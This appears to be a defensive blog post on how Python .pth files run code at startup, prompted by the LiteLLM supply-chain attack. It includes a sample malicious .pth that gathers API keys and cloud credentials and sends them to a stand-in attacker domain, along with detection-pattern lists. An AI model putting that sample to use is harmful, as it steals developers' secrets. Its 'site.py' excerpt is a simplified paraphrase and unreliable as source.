What is a .pth File and How Does It Execute Code During pip Install?
Problem
When I first heard about the LiteLLM malware attack, I thought I was safe because I never actually imported the package in my production code. Then I discovered this terrifying fact:
The malicious code executed during `pip install`, not at import time.By the time I "didn't use the package", my credentials were already stolen.The problem is that most developers’ mental model assumes malicious code runs when you import a package, not when you install it. This gap is exactly what attackers exploit with .pth files.
Environment
- Python 3.9+
- pip 23.0+
- Linux/macOS/Windows
- Understanding of Python’s site-packages directory
What Is a .pth File?
I started by investigating what .pth files actually are. They’re Python path configuration files that Python’s site module processes during interpreter startup.
A typical .pth file looks simple:
# This is a comment/some/optional/pathimport some_moduleBut here’s what I didn’t realize: any line starting with import in a .pth file gets executed as Python code automatically.
Where .pth Files Live
# Find your site-packages directorypython -c "import site; print(site.getsitepackages())"
# Common locations:# Linux: /usr/local/lib/python3.11/site-packages/# macOS: /usr/local/lib/python3.11/site-packages/# Windows: C:\Python311\Lib\site-packages\How the Attack Works
I traced through Python’s site.py module to understand the execution flow:
def addpackage(sitedir, name, known_paths): """Process a .pth file and execute import statements""" fullname = os.path.join(sitedir, name) try: f = open(fullname, "r") except OSError: return
with f: for line in f: line = line.rstrip() if line.startswith("#"): continue # Comment - skip if line.startswith("import "): # DANGER: Executes arbitrary code! exec(line) else: # Add directory to sys.path sys.path.append(line)This means when pip install unpacks a package into site-packages, any .pth file inside gets processed immediately.
The Attack Timeline
Here’s what happens during a malicious pip install:
1. User runs: pip install malicious-package2. pip downloads and unpacks the package3. Files are placed into site-packages4. .pth file is copied to site-packages5. Python processes the .pth file (if any Python session starts)6. Malicious code executes BEFORE any user code
In CI/CD:1. CI runs: pip install -r requirements.txt2. Malicious .pth executes with access to CI secrets3. Credentials (AWS keys, API tokens) are stolen4. Attacker now has access to your infrastructureA Real Malicious .pth Example
Based on the LiteLLM attack pattern, here’s what a malicious .pth file looks like:
# This file executes during pip install - no import needed!import osimport sysimport jsonimport urllib.requestimport base64
# Collect sensitive environment variablessensitive_vars = [ 'OPENAI_API_KEY', 'ANTHROPIC_API_KEY', 'AWS_ACCESS_KEY_ID', 'AWS_SECRET_ACCESS_KEY', 'GITHUB_TOKEN', 'NPM_TOKEN', 'PYPI_TOKEN',]
collected = {}for var in sensitive_vars: value = os.environ.get(var) if value: collected[var] = value
# Exfiltrate to attacker's serverif collected: payload = base64.b64encode(json.dumps(collected).encode()) try: urllib.request.urlopen( 'https://attacker-controlled-domain.com/collect', data=payload, timeout=5 ) except: pass # Fail silently to avoid detectionThe scary part? This code runs in the context of whatever Python process picks up the .pth file - including your CI/CD pipeline with all its secrets.
Why “I Didn’t Import It” Is Wrong
I had to completely rethink my security assumptions:
My Old Mental Model: pip install -> download -> unpack -> wait for import -> execute ^ | "I'm safe if I don't import"
The Reality: pip install -> download -> unpack -> .pth executes immediately ^ | "Too late - credentials stolen"Attack Surfaces
+------------------+ +------------------+ +------------------+| Developer | | CI/CD | | Production || Machine | | Pipeline | | Server |+------------------+ +------------------+ +------------------+| - Local creds | | - AWS keys | | - API keys || - API keys in | | - GitHub tokens | | - Database creds || .env files | | - Deploy keys | | - Service tokens |+------------------+ +------------------+ +------------------+ | | | v v v pip install runs pip install runs pip install runs | | | v v v .pth executes .pth executes .pth executes with YOUR creds with CI CREDS! with PROD CREDS!Detection: How to Find Malicious .pth Files
I created an audit script to scan for suspicious .pth files:
#!/usr/bin/env python3"""Audit .pth files in site-packages for suspicious content"""import siteimport osimport re
SUSPICIOUS_PATTERNS = [ r'urllib', r'requests\.', r'socket\.', r'subprocess', r'os\.system', r'eval\s*\(', r'exec\s*\(', r'__import__', r'\.env', r'environ', r'base64',]
def audit_pth_files(): found_suspicious = False for site_dir in site.getsitepackages(): if not os.path.exists(site_dir): continue for filename in os.listdir(site_dir): if filename.endswith('.pth'): filepath = os.path.join(site_dir, filename) with open(filepath, 'r') as f: content = f.read() for pattern in SUSPICIOUS_PATTERNS: if re.search(pattern, content): print(f"[ALERT] SUSPICIOUS: {filepath}") print(f" Pattern found: {pattern}") print(f" Content: {content[:200]}") found_suspicious = True return found_suspicious
if __name__ == '__main__': if audit_pth_files(): print("\n[!] Suspicious .pth files found. Review immediately!") exit(1) else: print("[OK] No suspicious .pth files detected.") exit(0)Running this:
python audit_pth_files.py
# Output if clean:# [OK] No suspicious .pth files detected.
# Output if malicious .pth found:# [ALERT] SUSPICIOUS: /usr/local/lib/python3.11/site-packages/malicious.pth# Pattern found: urllib# Content: import urllib.request...Prevention: Protecting Your Projects
1. Pin Dependencies with Hashes
# BAD: No hash verificationlitellm==1.82.6
# GOOD: Hash verification prevents tampered packageslitellm==1.82.6 \ --hash=sha256:abc123def456... \ --hash=sha256:789ghi012jkl...Then install with:
pip install --require-hashes -r requirements.txt2. Isolate Build Environments from Secrets
jobs: build: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4
# Install WITHOUT exposing secrets - name: Install dependencies run: pip install -r requirements.txt env: # Only expose what's needed for install PIP_NO_INPUT: 1
# Secrets only available AFTER install - name: Build run: python build.py env: OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }} AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}3. Use Automated Security Scanning
name: Security Scan
on: [push, pull_request]
jobs: scan: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4
- name: Set up Python uses: actions/setup-python@v5 with: python-version: '3.11'
- name: Install security tools run: pip install pip-audit safety
- name: Run pip-audit run: pip-audit -r requirements.txt
- name: Run safety check run: safety check -r requirements.txt4. Audit .pth Files Regularly
Add this to your CI pipeline:
# Check for suspicious .pth filespython scripts/audit_pth_files.py
# Or use a simple grepfind $(python -c "import site; print(site.getsitepackages()[0])") \ -name "*.pth" -exec grep -l "urllib\|requests\|socket\|subprocess" {} \;The Reason
I think the key reasons why .pth attacks are so dangerous:
1. Execution Timing - Code runs during pip install, not at import. Attackers don’t need you to use the package.
2. Mental Model Gap - Developers assume “I didn’t import it, so I’m safe”. But the damage is already done during installation.
3. CI/CD Exposure - Build environments often have sensitive credentials (AWS keys, deploy tokens) that can be stolen during the install phase.
4. Persistence - A malicious .pth can run every time Python starts, not just during installation.
5. Detection Difficulty - No user code has run yet, so traditional application-level monitoring won’t catch it.
Common Mistakes
I noticed several misconceptions about .pth file security:
Mistake 1: “I didn’t import the package”
# WRONG: Thinking you're safepip install suspicious-package# (package installs with malicious .pth)# "I never import suspicious-package, so I'm safe"# REALITY: The .pth already executed during install!
# RIGHT: Audit before installingpip download suspicious-packageunzip -l suspicious-package*.whl | grep ".pth"# If .pth found, inspect it before installingMistake 2: “My CI/CD has security checks”
Most CI security checks run AFTER pip install, missing .pth execution entirely.
# WRONG: Security scan after install (too late!)- run: pip install -r requirements.txt- run: pip-audit # .pth already executed!
# RIGHT: Scan before install- run: pip-audit -r requirements.txt # Check requirements first- run: pip install -r requirements.txtMistake 3: “I pinned the version”
Version pinning only helps if you pinned before the malicious version was released.
# If you pinned litellm==1.82.6 BEFORE the attack, you're safe.# If you updated requirements.txt AFTER the attack, you might have# accidentally pinned 1.82.7 or 1.82.8.Mistake 4: “I’ll just remove the package”
# WRONG: Thinking uninstall helpspip uninstall malicious-package# REALITY: The .pth already executed - credentials may already be stolen!
# RIGHT: Rotate all credentials immediately after discovering exposureMistake 5: “Sandboxing protects me”
Build environments often need network access for pip. A malicious .pth can exfiltrate data during that window.
Summary
In this post, I explained how Python .pth files work and why they’re a dangerous attack vector. The key points are:
-
.pth files are a built-in Python feature with legitimate uses for namespace packages and path configuration
-
Attackers exploit .pth files to run code during pip install, not at import time
-
“I didn’t import the package” provides no protection - the damage is done during installation
-
Build environment credentials are at highest risk since pip install typically runs in CI/CD with access to secrets
-
Detection requires proactive scanning - check .pth files for suspicious patterns like
urllib,requests,subprocess, etc.
To protect yourself:
- Use hash-pinned requirements (
pip install --require-hashes) - Audit .pth files in your site-packages directory regularly
- Isolate build environments from production credentials
- Use tools like
pip-audit,safety, orsnykto detect known malicious packages - Pin exact versions and review changes to dependencies before updating
The LiteLLM attack was not sophisticated in its technical execution - it simply exploited a gap in developers’ mental models about when code runs during the package lifecycle.
Final Words + More Resources
My intention with this article was to help others share my knowledge and experience. If you want to contact me, you can contact by email: Email me
Here are also the most important links from this article along with some further resources that will help you in this scope:
- 👨💻 Python site Module Documentation
- 👨💻 pip-audit Documentation
- 👨💻 PyPI Security Best Practices
- 👨💻 LiteLLM Security Incident Analysis
Oh, and if you found these resources useful, don’t forget to support me by starring the repo on GitHub!
Comments